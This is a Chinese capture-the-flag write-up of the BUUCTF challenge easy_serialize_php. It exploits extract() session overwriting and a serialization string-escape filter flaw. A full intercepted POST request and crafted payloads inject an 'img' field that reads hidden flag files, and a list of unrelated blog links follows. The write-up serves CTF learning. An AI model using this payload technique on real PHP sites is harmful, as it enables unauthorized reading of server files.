BUUCTF [安洵杯 2019]easy_serialize_php 1

打开题目,看到一串php代码,试着代码审计一下,看一下有用信息

可以看出是通过$_SESSION['img']来读取文件

extract可以将数组中的变量导入当前变量表

也就是说我们可以伪造$_SESSION 数组中的所有数据

这里传递一个参数f=phpinfo

先用hackbar进行post传参试试

然后直接抓包

POST /index.php HTTP/1.1

Host: 8fc7bd3e-f31b-4ff2-87e7-a4722b83e2ed.node5.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 142

Origin: http://8fc7bd3e-f31b-4ff2-87e7-a4722b83e2ed.node5.buuoj.cn:81

Connection: close

Referer: http://8fc7bd3e-f31b-4ff2-87e7-a4722b83e2ed.node5.buuoj.cn:81/index.php?f=highlight_file

Upgrade-Insecure-Requests: 1

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}&function=show_image

post传参

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}&function=show_image,逃逸

对d0g3_f1ag.php进行base64编码得到ZDBnM19mMWFnLnBocA==,填入burp

读取

替换编码_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}&function=show_image得到flag

相关推荐
风逸hhh2 小时前
python打卡day25@浙大疏锦行
开发语言·python
刚入门的大一新生2 小时前
C++初阶-string类的模拟实现与改进
开发语言·c++
chxii4 小时前
5java集合框架
java·开发语言
老衲有点帅4 小时前
C#多线程Thread
开发语言·c#
C++ 老炮儿的技术栈4 小时前
什么是函数重载?为什么 C 不支持函数重载,而 C++能支持函数重载?
c语言·开发语言·c++·qt·算法
IsPrisoner4 小时前
Go语言安装proto并且使用gRPC服务(2025最新WINDOWS系统)
开发语言·后端·golang
Python私教5 小时前
征服Rust:从零到独立开发的实战进阶
服务器·开发语言·rust
chicpopoo5 小时前
Python打卡DAY25
开发语言·python
crazyme_65 小时前
深入掌握 Python 切片操作:解锁数据处理的高效密码
开发语言·python